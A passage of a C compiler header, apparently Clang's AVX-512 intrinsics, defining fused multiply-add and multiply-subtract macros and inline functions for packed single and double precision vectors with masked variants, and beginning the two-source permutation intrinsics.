  ((__m512d)__builtin_ia32_vfmaddpd512_maskz(-(__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


#define _mm512_fnmsub_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask(-(__v8df)(__m512d)(A), \
                                            (__v8df)(__m512d)(B), \
                                            -(__v8df)(__m512d)(C), \
                                            (__mmask8)-1, (int)(R)))


#define _mm512_maskz_fnmsub_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_maskz(-(__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             -(__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fmadd_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    (__v8df) __B,
                                                    (__v8df) __C,
                                                    (__mmask8) -1,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fmadd_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    (__v8df) __B,
                                                    (__v8df) __C,
                                                    (__mmask8) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fmadd_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask3 ((__v8df) __A,
                                                     (__v8df) __B,
                                                     (__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fmadd_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_maskz ((__v8df) __A,
                                                     (__v8df) __B,
                                                     (__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fmsub_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    (__v8df) __B,
                                                    -(__v8df) __C,
                                                    (__mmask8) -1,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fmsub_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    (__v8df) __B,
                                                    -(__v8df) __C,
                                                    (__mmask8) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fmsub_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_maskz ((__v8df) __A,
                                                     (__v8df) __B,
                                                     -(__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fnmadd_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    -(__v8df) __B,
                                                    (__v8df) __C,
                                                    (__mmask8) -1,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fnmadd_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask3 (-(__v8df) __A,
                                                     (__v8df) __B,
                                                     (__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fnmadd_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_maskz (-(__v8df) __A,
                                                     (__v8df) __B,
                                                     (__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fnmsub_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    -(__v8df) __B,
                                                    -(__v8df) __C,
                                                    (__mmask8) -1,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fnmsub_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_maskz (-(__v8df) __A,
                                                     (__v8df) __B,
                                                     -(__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_fmadd_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           (__v16sf)(__m512)(C), \
                                           (__mmask16)-1, (int)(R)))


#define _mm512_mask_fmadd_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           (__v16sf)(__m512)(C), \
                                           (__mmask16)(U), (int)(R)))


#define _mm512_mask3_fmadd_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask3((__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


#define _mm512_maskz_fmadd_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_maskz((__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


#define _mm512_fmsub_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           -(__v16sf)(__m512)(C), \
                                           (__mmask16)-1, (int)(R)))


#define _mm512_mask_fmsub_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           (__v16sf)(__m512)(B), \
                                           -(__v16sf)(__m512)(C), \
                                           (__mmask16)(U), (int)(R)))


#define _mm512_maskz_fmsub_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_maskz((__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            -(__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


#define _mm512_fnmadd_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           -(__v16sf)(__m512)(B), \
                                           (__v16sf)(__m512)(C), \
                                           (__mmask16)-1, (int)(R)))


#define _mm512_mask3_fnmadd_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask3(-(__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


#define _mm512_maskz_fnmadd_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_maskz(-(__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


#define _mm512_fnmsub_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           -(__v16sf)(__m512)(B), \
                                           -(__v16sf)(__m512)(C), \
                                           (__mmask16)-1, (int)(R)))


#define _mm512_maskz_fnmsub_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_maskz(-(__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            -(__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fmadd_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   (__v16sf) __B,
                                                   (__v16sf) __C,
                                                   (__mmask16) -1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fmadd_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   (__v16sf) __B,
                                                   (__v16sf) __C,
                                                   (__mmask16) __U,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fmadd_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask3 ((__v16sf) __A,
                                                    (__v16sf) __B,
                                                    (__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fmadd_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_maskz ((__v16sf) __A,
                                                    (__v16sf) __B,
                                                    (__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fmsub_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   (__v16sf) __B,
                                                   -(__v16sf) __C,
                                                   (__mmask16) -1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fmsub_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   (__v16sf) __B,
                                                   -(__v16sf) __C,
                                                   (__mmask16) __U,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fmsub_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_maskz ((__v16sf) __A,
                                                    (__v16sf) __B,
                                                    -(__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fnmadd_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   -(__v16sf) __B,
                                                   (__v16sf) __C,
                                                   (__mmask16) -1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fnmadd_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask3 (-(__v16sf) __A,
                                                    (__v16sf) __B,
                                                    (__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fnmadd_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_maskz (-(__v16sf) __A,
                                                    (__v16sf) __B,
                                                    (__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fnmsub_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   -(__v16sf) __B,
                                                   -(__v16sf) __C,
                                                   (__mmask16) -1,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fnmsub_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_maskz (-(__v16sf) __A,
                                                    (__v16sf) __B,
                                                    -(__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_fmaddsub_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_mask((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               (__v8df)(__m512d)(C), \
                                               (__mmask8)-1, (int)(R)))


#define _mm512_mask_fmaddsub_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_mask((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               (__v8df)(__m512d)(C), \
                                               (__mmask8)(U), (int)(R)))


#define _mm512_mask3_fmaddsub_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_mask3((__v8df)(__m512d)(A), \
                                                (__v8df)(__m512d)(B), \
                                                (__v8df)(__m512d)(C), \
                                                (__mmask8)(U), (int)(R)))


#define _mm512_maskz_fmaddsub_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_maskz((__v8df)(__m512d)(A), \
                                                (__v8df)(__m512d)(B), \
                                                (__v8df)(__m512d)(C), \
                                                (__mmask8)(U), (int)(R)))


#define _mm512_fmsubadd_round_pd(A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_mask((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               -(__v8df)(__m512d)(C), \
                                               (__mmask8)-1, (int)(R)))


#define _mm512_mask_fmsubadd_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_mask((__v8df)(__m512d)(A), \
                                               (__v8df)(__m512d)(B), \
                                               -(__v8df)(__m512d)(C), \
                                               (__mmask8)(U), (int)(R)))


#define _mm512_maskz_fmsubadd_round_pd(U, A, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddsubpd512_maskz((__v8df)(__m512d)(A), \
                                                (__v8df)(__m512d)(B), \
                                                -(__v8df)(__m512d)(C), \
                                                (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fmaddsub_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_mask ((__v8df) __A,
                                                      (__v8df) __B,
                                                      (__v8df) __C,
                                                      (__mmask8) -1,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fmaddsub_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_mask ((__v8df) __A,
                                                      (__v8df) __B,
                                                      (__v8df) __C,
                                                      (__mmask8) __U,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fmaddsub_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_mask3 ((__v8df) __A,
                                                       (__v8df) __B,
                                                       (__v8df) __C,
                                                       (__mmask8) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fmaddsub_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_maskz ((__v8df) __A,
                                                       (__v8df) __B,
                                                       (__v8df) __C,
                                                       (__mmask8) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_fmsubadd_pd(__m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_mask ((__v8df) __A,
                                                       (__v8df) __B,
                                                       -(__v8df) __C,
                                                       (__mmask8) -1,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fmsubadd_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_mask ((__v8df) __A,
                                                       (__v8df) __B,
                                                       -(__v8df) __C,
                                                       (__mmask8) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_fmsubadd_pd(__mmask8 __U, __m512d __A, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddsubpd512_maskz ((__v8df) __A,
                                                        (__v8df) __B,
                                                        -(__v8df) __C,
                                                        (__mmask8) __U,
                                                        _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_fmaddsub_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_mask((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              (__v16sf)(__m512)(C), \
                                              (__mmask16)-1, (int)(R)))


#define _mm512_mask_fmaddsub_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_mask((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              (__v16sf)(__m512)(C), \
                                              (__mmask16)(U), (int)(R)))


#define _mm512_mask3_fmaddsub_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_mask3((__v16sf)(__m512)(A), \
                                               (__v16sf)(__m512)(B), \
                                               (__v16sf)(__m512)(C), \
                                               (__mmask16)(U), (int)(R)))


#define _mm512_maskz_fmaddsub_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_maskz((__v16sf)(__m512)(A), \
                                               (__v16sf)(__m512)(B), \
                                               (__v16sf)(__m512)(C), \
                                               (__mmask16)(U), (int)(R)))


#define _mm512_fmsubadd_round_ps(A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_mask((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              -(__v16sf)(__m512)(C), \
                                              (__mmask16)-1, (int)(R)))


#define _mm512_mask_fmsubadd_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_mask((__v16sf)(__m512)(A), \
                                              (__v16sf)(__m512)(B), \
                                              -(__v16sf)(__m512)(C), \
                                              (__mmask16)(U), (int)(R)))


#define _mm512_maskz_fmsubadd_round_ps(U, A, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddsubps512_maskz((__v16sf)(__m512)(A), \
                                               (__v16sf)(__m512)(B), \
                                               -(__v16sf)(__m512)(C), \
                                               (__mmask16)(U), (int)(R)))


static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fmaddsub_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_mask ((__v16sf) __A,
                                                      (__v16sf) __B,
                                                      (__v16sf) __C,
                                                      (__mmask16) -1,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fmaddsub_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_mask ((__v16sf) __A,
                                                      (__v16sf) __B,
                                                      (__v16sf) __C,
                                                      (__mmask16) __U,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fmaddsub_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_mask3 ((__v16sf) __A,
                                                       (__v16sf) __B,
                                                       (__v16sf) __C,
                                                       (__mmask16) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fmaddsub_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_maskz ((__v16sf) __A,
                                                       (__v16sf) __B,
                                                       (__v16sf) __C,
                                                       (__mmask16) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_fmsubadd_ps(__m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_mask ((__v16sf) __A,
                                                      (__v16sf) __B,
                                                      -(__v16sf) __C,
                                                      (__mmask16) -1,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fmsubadd_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_mask ((__v16sf) __A,
                                                      (__v16sf) __B,
                                                      -(__v16sf) __C,
                                                      (__mmask16) __U,
                                                      _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_fmsubadd_ps(__mmask16 __U, __m512 __A, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddsubps512_maskz ((__v16sf) __A,
                                                       (__v16sf) __B,
                                                       -(__v16sf) __C,
                                                       (__mmask16) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask3_fmsub_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmsubpd512_mask3((__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fmsub_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d)__builtin_ia32_vfmsubpd512_mask3 ((__v8df) __A,
                                                    (__v8df) __B,
                                                    (__v8df) __C,
                                                    (__mmask8) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask3_fmsub_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmsubps512_mask3((__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fmsub_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512)__builtin_ia32_vfmsubps512_mask3 ((__v16sf) __A,
                                                   (__v16sf) __B,
                                                   (__v16sf) __C,
                                                   (__mmask16) __U,
                                                   _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask3_fmsubadd_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmsubaddpd512_mask3((__v8df)(__m512d)(A), \
                                                (__v8df)(__m512d)(B), \
                                                (__v8df)(__m512d)(C), \
                                                (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fmsubadd_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d)__builtin_ia32_vfmsubaddpd512_mask3 ((__v8df) __A,
                                                       (__v8df) __B,
                                                       (__v8df) __C,
                                                       (__mmask8) __U,
                                                       _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask3_fmsubadd_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmsubaddps512_mask3((__v16sf)(__m512)(A), \
                                               (__v16sf)(__m512)(B), \
                                               (__v16sf)(__m512)(C), \
                                               (__mmask16)(U), (int)(R)))


static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fmsubadd_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512)__builtin_ia32_vfmsubaddps512_mask3 ((__v16sf) __A,
                                                      (__v16sf) __B,
                                                      (__v16sf) __C,
                                                      (__mmask16) __U,
                                                      _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask_fnmadd_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            -(__v8df)(__m512d)(B), \
                                            (__v8df)(__m512d)(C), \
                                            (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fnmadd_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    -(__v8df) __B,
                                                    (__v8df) __C,
                                                    (__mmask8) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask_fnmadd_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           -(__v16sf)(__m512)(B), \
                                           (__v16sf)(__m512)(C), \
                                           (__mmask16)(U), (int)(R)))


static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fnmadd_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   -(__v16sf) __B,
                                                   (__v16sf) __C,
                                                   (__mmask16) __U,
                                                   _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask_fnmsub_round_pd(A, U, B, C, R) \
  ((__m512d)__builtin_ia32_vfmaddpd512_mask((__v8df)(__m512d)(A), \
                                            -(__v8df)(__m512d)(B), \
                                            -(__v8df)(__m512d)(C), \
                                            (__mmask8)(U), (int)(R)))


#define _mm512_mask3_fnmsub_round_pd(A, B, C, U, R) \
  ((__m512d)__builtin_ia32_vfmsubpd512_mask3(-(__v8df)(__m512d)(A), \
                                             (__v8df)(__m512d)(B), \
                                             (__v8df)(__m512d)(C), \
                                             (__mmask8)(U), (int)(R)))


static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_fnmsub_pd(__m512d __A, __mmask8 __U, __m512d __B, __m512d __C)
{
  return (__m512d) __builtin_ia32_vfmaddpd512_mask ((__v8df) __A,
                                                    -(__v8df) __B,
                                                    -(__v8df) __C,
                                                    (__mmask8) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask3_fnmsub_pd(__m512d __A, __m512d __B, __m512d __C, __mmask8 __U)
{
  return (__m512d) __builtin_ia32_vfmsubpd512_mask3 (-(__v8df) __A,
                                                     (__v8df) __B,
                                                     (__v8df) __C,
                                                     (__mmask8) __U,
                                                     _MM_FROUND_CUR_DIRECTION);
}

#define _mm512_mask_fnmsub_round_ps(A, U, B, C, R) \
  ((__m512)__builtin_ia32_vfmaddps512_mask((__v16sf)(__m512)(A), \
                                           -(__v16sf)(__m512)(B), \
                                           -(__v16sf)(__m512)(C), \
                                           (__mmask16)(U), (int)(R)))


#define _mm512_mask3_fnmsub_round_ps(A, B, C, U, R) \
  ((__m512)__builtin_ia32_vfmsubps512_mask3(-(__v16sf)(__m512)(A), \
                                            (__v16sf)(__m512)(B), \
                                            (__v16sf)(__m512)(C), \
                                            (__mmask16)(U), (int)(R)))


static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_fnmsub_ps(__m512 __A, __mmask16 __U, __m512 __B, __m512 __C)
{
  return (__m512) __builtin_ia32_vfmaddps512_mask ((__v16sf) __A,
                                                   -(__v16sf) __B,
                                                   -(__v16sf) __C,
                                                   (__mmask16) __U,
                                                   _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask3_fnmsub_ps(__m512 __A, __m512 __B, __m512 __C, __mmask16 __U)
{
  return (__m512) __builtin_ia32_vfmsubps512_mask3 (-(__v16sf) __A,
                                                    (__v16sf) __B,
                                                    (__v16sf) __C,
                                                    (__mmask16) __U,
                                                    _MM_FROUND_CUR_DIRECTION);
}


/* Vector permutations */

static __inline __m512i __DEFAULT_FN_ATTRS512
_mm512_permutex2var_epi32(__m512i __A, __m512i __I, __m512i __B)
{
  return (__m512i)__builtin_ia32_vpermi2vard512((__v16si)__A, (__v16si) __I,
                                                (__v16si) __B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_permutex2var_epi32(__m512i __A, __mmask16 __U, __m512i __I,
                               __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                              (__v16si)_mm512_permutex2var_epi32(__A, __I, __B),
                              (__v16si)__A);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask2_permutex2var_epi32(__m512i __A, __m512i __I, __mmask16 __U,
                                __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                              (__v16si)_mm512_permutex2var_epi32(__A, __I, __B),
                              (__v16si)__I);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_permutex2var_epi32(__mmask16 __U, __m512i __A, __m512i __I,
                                __m512i __B)
{
  return (__m512i)__builtin_ia32_selectd_512(__U,
                              (__v16si)_mm512_permutex2var_epi32(__A, __I, __B),
